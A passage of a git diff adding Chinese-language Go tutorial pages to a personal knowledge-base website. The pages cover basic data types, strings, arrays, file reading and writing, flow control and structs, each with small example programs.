fmt.Printf("%x \n", c) // ff
fmt.Printf("%X \n", c) // FF
}
+

浮点型​

+

Go语言支持两种浮点型数:float32和float64。这两种浮点型数据格式遵循IEEE 754标准: float32 的浮点数的最大范围约为 3.4e38,可以使用常量定义:math.MaxFloat32。 float64 的浮点数的最大范围约为 1.8e308,可以使用一个常量定义:math.MaxFloat64。

+

打印浮点数时,可以使用fmt包配合动词%f,代码如下:

+
package main
import (
"fmt"
"math"
)
func main() {
fmt.Printf("%f\n", math.Pi)
fmt.Printf("%.2f\n", math.Pi)
}
+

复数​

+

complex64和complex128

+
var c1 complex64
c1 = 1 + 2i
var c2 complex128
c2 = 2 + 3i
fmt.Println(c1)
fmt.Println(c2)
+

复数有实部和虚部,complex64的实部和虚部为32位,complex128的实部和虚部为64位。

+

布尔值​

+

Go语言中以bool类型进行声明布尔型数据,布尔型数据只有true(真)和false(假)两个值。

+

注意:

+
    +
  1. 布尔类型变量的默认值为false。
  2. +
  3. Go 语言中不允许将整型强制转换为布尔型.
  4. +
  5. 布尔型无法参与数值运算,也无法与其他类型进行转换。
  6. +
+

字符串​

+

Go语言中的字符串以原生数据类型出现,使用字符串就像使用其他原生数据类型(int、bool、float32、float64 等)一样。 Go 语言里的字符串的内部实现使用UTF-8编码。 字符串的值为双引号(")中的内容,可以在Go语言的源码中直接添加非ASCII码字符,例如:

+
s1 := "hello"
s2 := "你好"
+

字符串转义符​

+

Go 语言的字符串常见转义符包含回车、换行、单双引号、制表符等,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
转义符含义
\r回车符(返回行首)
\n换行符(直接跳到下一行的同列位置)
\t制表符
\'单引号
\"双引号
\\反斜杠
+

举个例子,我们要打印一个Windows平台下的一个文件路径:

+
package main
import (
"fmt"
)
func main() {
fmt.Println("str := \"c:\\Code\\lesson1\\go.exe\"")
}
+

多行字符串​

+

Go语言中要定义一个多行字符串时,就必须使用反引号字符:

+
s1 := `第一行
第二行
第三行
`
fmt.Println(s1)
+

反引号间换行将被作为字符串中的换行,但是所有的转义字符均无效,文本将会原样输出。

+

字符串的常用操作​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法介绍
len(str)求长度
+或fmt.Sprintf拼接字符串
strings.Split分割
strings.contains判断是否包含
strings.HasPrefix,strings.HasSuffix前缀/后缀判断
strings.Index(),strings.LastIndex()子串出现的位置
strings.Join(a[]string, sep string)join操作
+

byte和rune类型​

+

组成每个字符串的元素叫做“字符”,可以通过遍历或者单个获取字符串元素获得字符。 字符用单引号(’)包裹起来,如:

+
var a = '中'
var b = 'x'
+

Go 语言的字符有以下两种:

+
    +
  1. uint8类型,或者叫 byte 型,代表一个ASCII码字符。
  2. +
  3. rune类型,代表一个 UTF-8字符。
  4. +
+

当需要处理中文、日文或者其他复合字符时,则需要用到rune类型。rune类型实际是一个int32。

+

Go 使用了特殊的 rune 类型来处理 Unicode,让基于 Unicode 的文本处理更为方便,也可以使用 byte 型进行默认字符串处理,性能和扩展性都有照顾。

+
// 遍历字符串
func traversalString() {
s := "hello沙河"
for i := 0; i < len(s); i++ { //byte
fmt.Printf("%v(%c) ", s[i], s[i])
}
fmt.Println()
for _, r := range s { //rune
fmt.Printf("%v(%c) ", r, r)
}
fmt.Println()
}
+

输出:

+
104(h) 101(e) 108(l) 108(l) 111(o) 230(æ) 178(²) 153() 230(æ) 178(²) 179(³) 
104(h) 101(e) 108(l) 108(l) 111(o) 27801(沙) 27827(河)
+

因为UTF8编码下一个中文汉字由3~4个字节组成,所以我们不能简单的按照字节去遍历一个包含中文的字符串,否则就会出现上面输出中第一行的结果。

+

字符串底层是一个byte数组,所以可以和[]byte类型相互转换。字符串是不能修改的 字符串是由byte字节组成,所以字符串的长度是byte字节的长度。 rune类型用来表示utf8字符,一个rune字符由一个或多个byte组成。

+

修改字符串​

+

要修改字符串,需要先将其转换成[]rune或[]byte,完成后再转换为string。无论哪种转换,都会重新分配内存,并复制字节数组。

+
func changeString() {
s1 := "big"
// 强制类型转换
byteS1 := []byte(s1)
byteS1[0] = 'p'
fmt.Println(string(byteS1))

s2 := "白萝卜"
runeS2 := []rune(s2)
runeS2[0] = '红'
fmt.Println(string(runeS2))
}
+

类型转换​

+

Go语言中只有强制类型转换,没有隐式类型转换。该语法只能在两个类型之间支持相互转换的时候使用。

+

强制类型转换的基本语法如下:

+
T(表达式)
+

其中,T表示要转换的类型。表达式包括变量、复杂算子和函数返回值等.

+

比如计算直角三角形的斜边长时使用math包的Sqrt()函数,该函数接收的是float64类型的参数,而变量a和b都是int类型的,这个时候就需要将a和b强制类型转换为float64类型。

+
func sqrtDemo() {
var a, b = 3, 4
var c int
// math.Sqrt()接收的参数是float64类型,需要强制转换
c = int(math.Sqrt(float64(a*a + b*b)))
fmt.Println(c)
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html new file mode 100644 index 0000000..2872073 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html @@ -0,0 +1,55 @@ + + + + + +Go语言基础之数组 | wjlin0 + + + + + + + +

Go语言基础之数组

+

数组是同一种数据类型元素的集合。 在Go语言中,数组从声明时就确定,使用时可以修改数组成员,但是数组大小不可变化。 基本语法:

+
// 定义一个长度为3元素类型为int的数组a
var a [3]int
+

数组定义:​

+
var 数组变量名 [元素数量]T
+

比如:var a [5]int, 数组的长度必须是常量,并且长度是数组类型的一部分。一旦定义,长度不能变。 [5]int和[10]int是不同的类型。

+
var a [3]int
var b [4]int
a = b //不可以这样做,因为此时a和b是不同的类型
+

数组可以通过下标进行访问,下标是从0开始,最后一个元素下标是:len-1,访问越界(下标在合法范围之外),则触发访问越界,会panic。

+

数组的初始化​

+

数组的初始化也有很多方式。

+

方法一​

+

初始化数组时可以使用初始化列表来设置数组元素的值。

+
func main() {
var testArray [3]int //数组会初始化为int类型的零值
var numArray = [3]int{1, 2} //使用指定的初始值完成初始化
var cityArray = [3]string{"北京", "上海", "深圳"} //使用指定的初始值完成初始化
fmt.Println(testArray) //[0 0 0]
fmt.Println(numArray) //[1 2 0]
fmt.Println(cityArray) //[北京 上海 深圳]
}
+

方法二​

+

按照上面的方法每次都要确保提供的初始值和数组长度一致,一般情况下我们可以让编译器根据初始值的个数自行推断数组的长度,例如:

+
func main() {
var testArray [3]int
var numArray = [...]int{1, 2}
var cityArray = [...]string{"北京", "上海", "深圳"}
fmt.Println(testArray) //[0 0 0]
fmt.Println(numArray) //[1 2]
fmt.Printf("type of numArray:%T\n", numArray) //type of numArray:[2]int
fmt.Println(cityArray) //[北京 上海 深圳]
fmt.Printf("type of cityArray:%T\n", cityArray) //type of cityArray:[3]string
}
+

方法三​

+

我们还可以使用指定索引值的方式来初始化数组,例如:

+
func main() {
a := [...]int{1: 1, 3: 5}
fmt.Println(a) // [0 1 0 5]
fmt.Printf("type of a:%T\n", a) //type of a:[4]int
}
+

数组的遍历​

+

遍历数组a有以下两种方法:

+
func main() {
var a = [...]string{"北京", "上海", "深圳"}
// 方法1:for循环遍历
for i := 0; i < len(a); i++ {
fmt.Println(a[i])
}

// 方法2:for range遍历
for index, value := range a {
fmt.Println(index, value)
}
}
+

多维数组​

+

Go语言是支持多维数组的,我们这里以二维数组为例(数组中又嵌套数组)。

+

二维数组的定义​

+
func main() {
a := [3][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
fmt.Println(a) //[[北京 上海] [广州 深圳] [成都 重庆]]
fmt.Println(a[2][1]) //支持索引取值:重庆
}
+

二维数组的遍历​

+
func main() {
a := [3][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
for _, v1 := range a {
for _, v2 := range v1 {
fmt.Printf("%s\t", v2)
}
fmt.Println()
}
}
+

输出:

+
北京	上海	
广州 深圳
成都 重庆
+

注意: 多维数组只有第一层可以使用...来让编译器推导数组长度。例如:

+
//支持的写法
a := [...][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
//不支持多维数组的内层使用...
b := [3][...]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
+

数组是值类型​

+

数组是值类型,赋值和传参会复制整个数组。因此改变副本的值,不会改变本身的值。

+
func modifyArray(x [3]int) {
x[0] = 100
}

func modifyArray2(x [3][2]int) {
x[2][0] = 100
}
func main() {
a := [3]int{10, 20, 30}
modifyArray(a) //在modify中修改的是a的副本x
fmt.Println(a) //[10 20 30]
b := [3][2]int{
{1, 1},
{1, 1},
{1, 1},
}
modifyArray2(b) //在modify中修改的是b的副本x
fmt.Println(b) //[[1 1] [1 1] [1 1]]
}
+

注意:

+
    +
  1. 数组支持 “==“、”!=” 操作符,因为内存总是被初始化过的。
  2. +
  3. [n]*T表示指针数组,*[n]T表示数组指针 。
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html new file mode 100644 index 0000000..5196acf --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html @@ -0,0 +1,82 @@ + + + + + +Go语言文件操作 | wjlin0 + + + + + + + +

Go语言文件操作

+

打开和关闭文件​

+

os.Open()函数能够打开一个文件,返回一个*File和一个err。对得到的文件实例调用close()方法能够关闭文件。

+
package main

import (
"fmt"
"os"
)

func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
// 关闭文件
file.Close()
}
+

为了防止文件忘记关闭,我们通常使用defer注册文件关闭语句。

+

读取文件​

+

file.Read()​

+

基本使用​

+

Read方法定义如下:

+
func (f *File) Read(b []byte) (n int, err error)
+

它接收一个字节切片,返回读取的字节数和可能的具体错误,读到文件末尾时会返回0和io.EOF。 举个例子:

+
func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
defer file.Close()
// 使用Read方法读取数据
var tmp = make([]byte, 128)
n, err := file.Read(tmp)
if err == io.EOF {
fmt.Println("文件读完了")
return
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Printf("读取了%d字节数据\n", n)
fmt.Println(string(tmp[:n]))
}
+

循环读取​

+

使用for循环读取文件中的所有数据。

+
func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
defer file.Close()
// 循环读取文件
var content []byte
var tmp = make([]byte, 128)
for {
n, err := file.Read(tmp)
if err == io.EOF {
fmt.Println("文件读完了")
break
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
content = append(content, tmp[:n]...)
}
fmt.Println(string(content))
}
+

bufio读取文件​

+

bufio是在file的基础上封装了一层API,支持更多的功能。

+
package main

import (
"bufio"
"fmt"
"io"
"os"
)

// bufio按行读取示例
func main() {
file, err := os.Open("./xx.txt")
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
reader := bufio.NewReader(file)
for {
line, err := reader.ReadString('\n') //注意是字符
if err == io.EOF {
if len(line) != 0 {
fmt.Println(line)
}
fmt.Println("文件读完了")
break
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Print(line)
}
}
+

ioutil读取整个文件​

+

io/ioutil包的ReadFile方法能够读取完整的文件,只需要将文件名作为参数传入。

+
package main

import (
"fmt"
"io/ioutil"
)

// ioutil.ReadFile读取整个文件
func main() {
content, err := ioutil.ReadFile("./main.go")
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Println(string(content))
}
+

文件写入操作​

+

os.OpenFile()函数能够以指定模式打开文件,从而实现文件写入相关功能。

+
func OpenFile(name string, flag int, perm FileMode) (*File, error) {
...
}
+

其中:

+

name:要打开的文件名 flag:打开文件的模式。 模式有以下几种:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模式含义
os.O_WRONLY只写
os.O_CREATE创建文件
os.O_RDONLY只读
os.O_RDWR读写
os.O_TRUNC清空
os.O_APPEND追加
+

perm:文件权限,一个八进制数。r(读)04,w(写)02,x(执行)01。

+

Write和WriteString​

+
func main() {
file, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
str := "hello 沙河"
file.Write([]byte(str)) //写入字节切片数据
file.WriteString("hello 小王子") //直接写入字符串数据
}
+

bufio.NewWriter​

+
func main() {
file, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
writer := bufio.NewWriter(file)
for i := 0; i < 10; i++ {
writer.WriteString("hello沙河\n") //将数据先写入缓存
}
writer.Flush() //将缓存中的内容写入文件
}
+

ioutil.WriteFile​

+
func main() {
str := "hello 沙河"
err := ioutil.WriteFile("./xx.txt", []byte(str), 0666)
if err != nil {
fmt.Println("write file failed, err:", err)
return
}
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html new file mode 100644 index 0000000..7c944b4 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html @@ -0,0 +1,74 @@ + + + + + +Go语言基础之流程控制 | wjlin0 + + + + + + + +

Go语言基础之流程控制

+

if else(分支结构)​

+

if条件判断基本写法​

+

Go语言中if条件判断的格式如下:

+
if 表达式1 {
分支1
} else if 表达式2 {
分支2
} else{
分支3
}
+

当表达式1的结果为true时,执行分支1,否则判断表达式2,如果满足则执行分支2,都不满足时,则执行分支3。 if判断中的else if和else都是可选的,可以根据实际需要进行选择。

+

Go语言规定与if匹配的左括号{必须与if和表达式放在同一行,{放在其他位置会触发编译错误。 同理,与else匹配的{也必须与else写在同一行,else也必须与上一个if或else if右边的大括号在同一行。

+

举个例子:

+
func ifDemo1() {
score := 65
if score >= 90 {
fmt.Println("A")
} else if score > 75 {
fmt.Println("B")
} else {
fmt.Println("C")
}
}
+

if条件判断特殊写法​

+

if条件判断还有一种特殊的写法,可以在 if 表达式之前添加一个执行语句,再根据变量值进行判断,举个例子:

+
func ifDemo2() {
if score := 65; score >= 90 {
fmt.Println("A")
} else if score > 75 {
fmt.Println("B")
} else {
fmt.Println("C")
}
}
+

思考题: 上下两种写法的区别在哪里?

+

for(循环结构)​

+

Go 语言中的所有循环类型均可以使用for关键字来完成。

+

for循环的基本格式如下:

+
for 初始语句;条件表达式;结束语句{
循环体语句
}
+

条件表达式返回true时循环体不停地进行循环,直到条件表达式返回false时自动退出循环。

+
func forDemo() {
for i := 0; i < 10; i++ {
fmt.Println(i)
}
}
+

for循环的初始语句可以被忽略,但是初始语句后的分号必须要写,例如:

+
func forDemo2() {
i := 0
for ; i < 10; i++ {
fmt.Println(i)
}
}
+

for循环的初始语句和结束语句都可以省略,例如:

+
func forDemo3() {
i := 0
for i < 10 {
fmt.Println(i)
i++
}
}
+

这种写法类似于其他编程语言中的while,在while后添加一个条件表达式,满足条件表达式时持续循环,否则结束循环。

+

无限循环​

+
for {
循环体语句
}
+

for循环可以通过break、goto、return、panic语句强制退出循环。

+

for range(键值循环)​

+

Go语言中可以使用for range遍历数组、切片、字符串、map 及通道(channel)。 通过for range遍历的返回值有以下规律:

+
    +
  1. 数组、切片、字符串返回索引和值。
  2. +
  3. map返回键和值。
  4. +
  5. 通道(channel)只返回通道内的值。
  6. +
+

switch case​

+

使用switch语句可方便地对大量的值进行条件判断。

+
func switchDemo1() {
finger := 3
switch finger {
case 1:
fmt.Println("大拇指")
case 2:
fmt.Println("食指")
case 3:
fmt.Println("中指")
case 4:
fmt.Println("无名指")
case 5:
fmt.Println("小拇指")
default:
fmt.Println("无效的输入!")
}
}
+

Go语言规定每个switch只能有一个default分支。

+

一个分支可以有多个值,多个case值中间使用英文逗号分隔。

+
func testSwitch3() {
switch n := 7; n {
case 1, 3, 5, 7, 9:
fmt.Println("奇数")
case 2, 4, 6, 8:
fmt.Println("偶数")
default:
fmt.Println(n)
}
}
+

分支还可以使用表达式,这时候switch语句后面不需要再跟判断变量。例如:

+
func switchDemo4() {
age := 30
switch {
case age < 25:
fmt.Println("好好学习吧")
case age > 25 && age < 35:
fmt.Println("好好工作吧")
case age > 60:
fmt.Println("好好享受吧")
default:
fmt.Println("活着真好")
}
}
+

fallthrough语法可以执行满足条件的case的下一个case,是为了兼容C语言中的case设计的。

+
func switchDemo5() {
s := "a"
switch {
case s == "a":
fmt.Println("a")
fallthrough
case s == "b":
fmt.Println("b")
case s == "c":
fmt.Println("c")
default:
fmt.Println("...")
}
}
+

输出:

+
a
b
+

goto(跳转到指定标签)​

+

goto语句通过标签进行代码间的无条件跳转。goto语句可以在快速跳出循环、避免重复退出上有一定的帮助。Go语言中使用goto语句能简化一些代码的实现过程。 例如双层嵌套的for循环要退出时:

+
func gotoDemo1() {
var breakFlag bool
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
// 设置退出标签
breakFlag = true
break
}
fmt.Printf("%v-%v\n", i, j)
}
// 外层for循环判断
if breakFlag {
break
}
}
}
+

使用goto语句能简化代码:

+
func gotoDemo2() {
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
// 设置退出标签
goto breakTag
}
fmt.Printf("%v-%v\n", i, j)
}
}
return
// 标签
breakTag:
fmt.Println("结束for循环")
}
+

break(跳出循环)​

+

break语句可以结束for、switch和select的代码块。

+

break语句还可以在语句后面添加标签,表示退出某个标签对应的代码块,标签要求必须定义在对应的for、switch和 select的代码块上。 举个例子:

+
func breakDemo1() {
BREAKDEMO1:
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
break BREAKDEMO1
}
fmt.Printf("%v-%v\n", i, j)
}
}
fmt.Println("...")
}
+

continue(继续下次循环)​

+

continue语句可以结束当前循环,开始下一次的循环迭代过程,仅限在for循环内使用。

+

在 continue语句后添加标签时,表示开始标签对应的循环。例如:

+
func continueDemo() {
forloop1:
for i := 0; i < 5; i++ {
// forloop2:
for j := 0; j < 5; j++ {
if i == 2 && j == 2 {
continue forloop1
}
fmt.Printf("%v-%v\n", i, j)
}
}
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html new file mode 100644 index 0000000..b76e12f --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html @@ -0,0 +1,173 @@ + + + + + +Go语言基础之结构体 | wjlin0 + + + + + + + +

Go语言基础之结构体

+

类型别名和自定义类型​

+

自定义类型​

+

在Go语言中有一些基本的数据类型,如string、整型、浮点型、布尔等数据类型, Go语言中可以使用type关键字来定义自定义类型。

+

自定义类型是定义了一个全新的类型。我们可以基于内置的基本类型定义,也可以通过struct定义。例如:

+
//将MyInt定义为int类型
type MyInt int
+

通过type关键字的定义,MyInt就是一种新的类型,它具有int的特性。

+

类型别名​

+

类型别名是Go1.9版本添加的新功能。

+

类型别名规定:TypeAlias只是Type的别名,本质上TypeAlias与Type是同一个类型。就像一个孩子小时候有小名、乳名,上学后用学名,英语老师又会给他起英文名,但这些名字都指的是他本人。

+
type TypeAlias = Type
+

我们之前见过的rune和byte就是类型别名,他们的定义如下:

+
type byte = uint8
type rune = int32
+

类型定义和类型别名的区别​

+

类型别名与类型定义表面上看只有一个等号的差异,我们通过下面的这段代码来理解它们之间的区别。

+
//类型定义
type NewInt int

//类型别名
type MyInt = int

func main() {
var a NewInt
var b MyInt

fmt.Printf("type of a:%T\n", a) //type of a:main.NewInt
fmt.Printf("type of b:%T\n", b) //type of b:int
}
+

结果显示a的类型是main.NewInt,表示main包下定义的NewInt类型。b的类型是int。MyInt类型只会在代码中存在,编译完成时并不会有MyInt类型。

+

结构体​

+

Go语言中的基础数据类型可以表示一些事物的基本属性,但是当我们想表达一个事物的全部或部分属性时,这时候再用单一的基本数据类型明显就无法满足需求了,Go语言提供了一种自定义数据类型,可以封装多个基本数据类型,这种数据类型叫结构体,英文名称struct。 也就是我们可以通过struct来定义自己的类型了。

+

Go语言中通过struct来实现面向对象。

+

结构体的定义​

+

使用type和struct关键字来定义结构体,具体代码格式如下:

+
type 类型名 struct {
字段名 字段类型
字段名 字段类型
…
}
+

其中:

+
    +
  • 类型名:标识自定义结构体的名称,在同一个包内不能重复。
  • +
  • 字段名:表示结构体字段名。结构体中的字段名必须唯一。
  • +
  • 字段类型:表示结构体字段的具体类型。
  • +
+

举个例子,我们定义一个Person(人)结构体,代码如下:

+
type person struct {
name string
city string
age int8
}
+

同样类型的字段也可以写在一行,

+
type person1 struct {
name, city string
age int8
}
+

这样我们就拥有了一个person的自定义类型,它有name、city、age三个字段,分别表示姓名、城市和年龄。这样我们使用这个person结构体就能够很方便的在程序中表示和存储人信息了。

+

语言内置的基础数据类型是用来描述一个值的,而结构体是用来描述一组值的。比如一个人有名字、年龄和居住城市等,本质上是一种聚合型的数据类型

+

结构体实例化​

+

只有当结构体实例化时,才会真正地分配内存。也就是必须实例化后才能使用结构体的字段。

+

结构体本身也是一种类型,我们可以像声明内置类型一样使用var关键字声明结构体类型。

+
var 结构体实例 结构体类型
+

基本实例化​

+

举个例子:

+
type person struct {
name string
city string
age int8
}

func main() {
var p1 person
p1.name = "沙河娜扎"
p1.city = "北京"
p1.age = 18
fmt.Printf("p1=%v\n", p1) //p1={沙河娜扎 北京 18}
fmt.Printf("p1=%#v\n", p1) //p1=main.person{name:"沙河娜扎", city:"北京", age:18}
}
+

我们通过.来访问结构体的字段(成员变量),例如p1.name和p1.age等。

+

匿名结构体​

+

在定义一些临时数据结构等场景下还可以使用匿名结构体。

+
package main

import (
"fmt"
)

func main() {
var user struct{Name string; Age int}
user.Name = "小王子"
user.Age = 18
fmt.Printf("%#v\n", user)
}
+

创建指针类型结构体​

+

我们还可以通过使用new关键字对结构体进行实例化,得到的是结构体的地址。 格式如下:

+
var p2 = new(person)
fmt.Printf("%T\n", p2) //*main.person
fmt.Printf("p2=%#v\n", p2) //p2=&main.person{name:"", city:"", age:0}
+

从打印的结果中我们可以看出p2是一个结构体指针。

+

需要注意的是在Go语言中支持对结构体指针直接使用.来访问结构体的成员。

+
var p2 = new(person)
p2.name = "小王子"
p2.age = 28
p2.city = "上海"
fmt.Printf("p2=%#v\n", p2) //p2=&main.person{name:"小王子", city:"上海", age:28}
+

取结构体的地址实例化​

+

使用&对结构体进行取地址操作相当于对该结构体类型进行了一次new实例化操作。

+
p3 := &person{}
fmt.Printf("%T\n", p3) //*main.person
fmt.Printf("p3=%#v\n", p3) //p3=&main.person{name:"", city:"", age:0}
p3.name = "七米"
p3.age = 30
p3.city = "成都"
fmt.Printf("p3=%#v\n", p3) //p3=&main.person{name:"七米", city:"成都", age:30}
+

p3.name = "七米"其实在底层是(*p3).name = "七米",这是Go语言帮我们实现的语法糖。

+

结构体初始化​

+

没有初始化的结构体,其成员变量都是对应其类型的零值。

+
type person struct {
name string
city string
age int8
}

func main() {
var p4 person
fmt.Printf("p4=%#v\n", p4) //p4=main.person{name:"", city:"", age:0}
}
+

使用键值对初始化​

+

使用键值对对结构体进行初始化时,键对应结构体的字段,值对应该字段的初始值。

+
p5 := person{
name: "小王子",
city: "北京",
age: 18,
}
fmt.Printf("p5=%#v\n", p5) //p5=main.person{name:"小王子", city:"北京", age:18}
+

也可以对结构体指针进行键值对初始化,例如:

+
p6 := &person{
name: "小王子",
city: "北京",
age: 18,
}
fmt.Printf("p6=%#v\n", p6) //p6=&main.person{name:"小王子", city:"北京", age:18}
+

当某些字段没有初始值的时候,该字段可以不写。此时,没有指定初始值的字段的值就是该字段类型的零值。

+
p7 := &person{
city: "北京",
}
fmt.Printf("p7=%#v\n", p7) //p7=&main.person{name:"", city:"北京", age:0}
+

使用值的列表初始化​

+

初始化结构体的时候可以简写,也就是初始化的时候不写键,直接写值:

+
p8 := &person{
"沙河娜扎",
"北京",
28,
}
fmt.Printf("p8=%#v\n", p8) //p8=&main.person{name:"沙河娜扎", city:"北京", age:28}
+

使用这种格式初始化时,需要注意:

+
    +
  1. 必须初始化结构体的所有字段。
  2. +
  3. 初始值的填充顺序必须与字段在结构体中的声明顺序一致。
  4. +
  5. 该方式不能和键值初始化方式混用。
  6. +
+

结构体内存布局​

+

结构体占用一块连续的内存。

+
type test struct {
a int8
b int8
c int8
d int8
}
n := test{
1, 2, 3, 4,
}
fmt.Printf("n.a %p\n", &n.a)
fmt.Printf("n.b %p\n", &n.b)
fmt.Printf("n.c %p\n", &n.c)
fmt.Printf("n.d %p\n", &n.d)
+

输出:

+
n.a 0xc0000a0060
n.b 0xc0000a0061
n.c 0xc0000a0062
n.d 0xc0000a0063
+

【进阶知识点】关于Go语言中的内存对齐推荐阅读:Go结构体的内存对齐

+

空结构体​

+

空结构体是不占用空间的。

+
var v struct{}
fmt.Println(unsafe.Sizeof(v)) // 0
+

面试题​

+

请问下面代码的执行结果是什么?

+
type student struct {
name string
age int
}

func main() {
m := make(map[string]*student)
stus := []student{
{name: "小王子", age: 18},
{name: "娜扎", age: 23},
{name: "大王八", age: 9000},
}

for _, stu := range stus {
m[stu.name] = &stu
}
for k, v := range m {
fmt.Println(k, "=>", v.name)
}
}
+

构造函数​

+

Go语言的结构体没有构造函数,我们可以自己实现。 例如,下方的代码就实现了一个person的构造函数。 因为struct是值类型,如果结构体比较复杂的话,值拷贝性能开销会比较大,所以该构造函数返回的是结构体指针类型。

+
func newPerson(name, city string, age int8) *person {
return &person{
name: name,
city: city,
age: age,
}
}
+

调用构造函数

+
p9 := newPerson("张三", "沙河", 90)
fmt.Printf("%#v\n", p9) //&main.person{name:"张三", city:"沙河", age:90}
+

方法和接收者​

+

Go语言中的方法(Method)是一种作用于特定类型变量的函数。这种特定类型变量叫做接收者(Receiver)。接收者的概念就类似于其他语言中的this或者 self。

+

方法的定义格式如下:

+
func (接收者变量 接收者类型) 方法名(参数列表) (返回参数) {
函数体
}
+

其中,

+
    +
  • 接收者变量:接收者中的参数变量名在命名时,官方建议使用接收者类型名称首字母的小写,而不是self、this之类的命名。例如,Person类型的接收者变量应该命名为 p,Connector类型的接收者变量应该命名为c等。
  • +
  • 接收者类型:接收者类型和参数类似,可以是指针类型和非指针类型。
  • +
  • 方法名、参数列表、返回参数:具体格式与函数定义相同。
  • +
+

举个例子:

+
//Person 结构体
type Person struct {
name string
age int8
}

//NewPerson 构造函数
func NewPerson(name string, age int8) *Person {
return &Person{
name: name,
age: age,
}
}

//Dream Person做梦的方法
func (p Person) Dream() {
fmt.Printf("%s的梦想是学好Go语言!\n", p.name)
}

func main() {
p1 := NewPerson("小王子", 25)
p1.Dream()
}
+

方法与函数的区别是,函数不属于任何类型,方法属于特定的类型。

+

指针类型的接收者​

+

指针类型的接收者由一个结构体的指针组成,由于指针的特性,调用方法时修改接收者指针的任意成员变量,在方法结束后,修改都是有效的。这种方式就十分接近于其他语言中面向对象中的this或者self。 例如我们为Person添加一个SetAge方法,来修改实例变量的年龄。

+
// SetAge 设置p的年龄
// 使用指针接收者
func (p *Person) SetAge(newAge int8) {
p.age = newAge
}
+

调用该方法:

+
func main() {
p1 := NewPerson("小王子", 25)
fmt.Println(p1.age) // 25
p1.SetAge(30)
fmt.Println(p1.age) // 30
}
+

值类型的接收者​

+

当方法作用于值类型接收者时,Go语言会在代码运行时将接收者的值复制一份。在值类型接收者的方法中可以获取接收者的成员值,但修改操作只是针对副本,无法修改接收者变量本身。

+
// SetAge2 设置p的年龄
// 使用值接收者
func (p Person) SetAge2(newAge int8) {
p.age = newAge
}

func main() {
p1 := NewPerson("小王子", 25)
p1.Dream()
fmt.Println(p1.age) // 25
p1.SetAge2(30) // (*p1).SetAge2(30)
fmt.Println(p1.age) // 25
}
+

什么时候应该使用指针类型接收者​

+
    +
  1. 需要修改接收者中的值
  2. +
  3. 接收者是拷贝代价比较大的大对象
  4. +
  5. 保证一致性,如果有某个方法使用了指针接收者,那么其他的方法也应该使用指针接收者。
  6. +
+

任意类型添加方法​

+

在Go语言中,接收者的类型可以是任何类型,不仅仅是结构体,任何类型都可以拥有方法。 举个例子,我们基于内置的int类型使用type关键字可以定义新的自定义类型,然后为我们的自定义类型添加方法。

+
//MyInt 将int定义为自定义MyInt类型
type MyInt int

//SayHello 为MyInt添加一个SayHello的方法
func (m MyInt) SayHello() {
fmt.Println("Hello, 我是一个int。")
}
func main() {
var m1 MyInt
m1.SayHello() //Hello, 我是一个int。
m1 = 100
fmt.Printf("%#v %T\n", m1, m1) //100 main.MyInt
}
+

注意事项: 非本地类型不能定义方法,也就是说我们不能给别的包的类型定义方法。

+

结构体的匿名字段​

+

结构体允许其成员字段在声明时没有字段名而只有类型,这种没有名字的字段就称为匿名字段。

+
//Person 结构体Person类型
type Person struct {
string
int
}

func main() {
p1 := Person{
"小王子",
18,
}
fmt.Printf("%#v\n", p1) //main.Person{string:"北京", int:18}
fmt.Println(p1.string, p1.int) //北京 18
}
+

**注意:**这里匿名字段的说法并不代表没有字段名,而是默认会采用类型名作为字段名,结构体要求字段名称必须唯一,因此一个结构体中同种类型的匿名字段只能有一个。

+

嵌套结构体​

+

一个结构体中可以嵌套包含另一个结构体或结构体指针,就像下面的示例代码那样。

+
//Address 地址结构体
type Address struct {
Province string
City string
}

//User 用户结构体
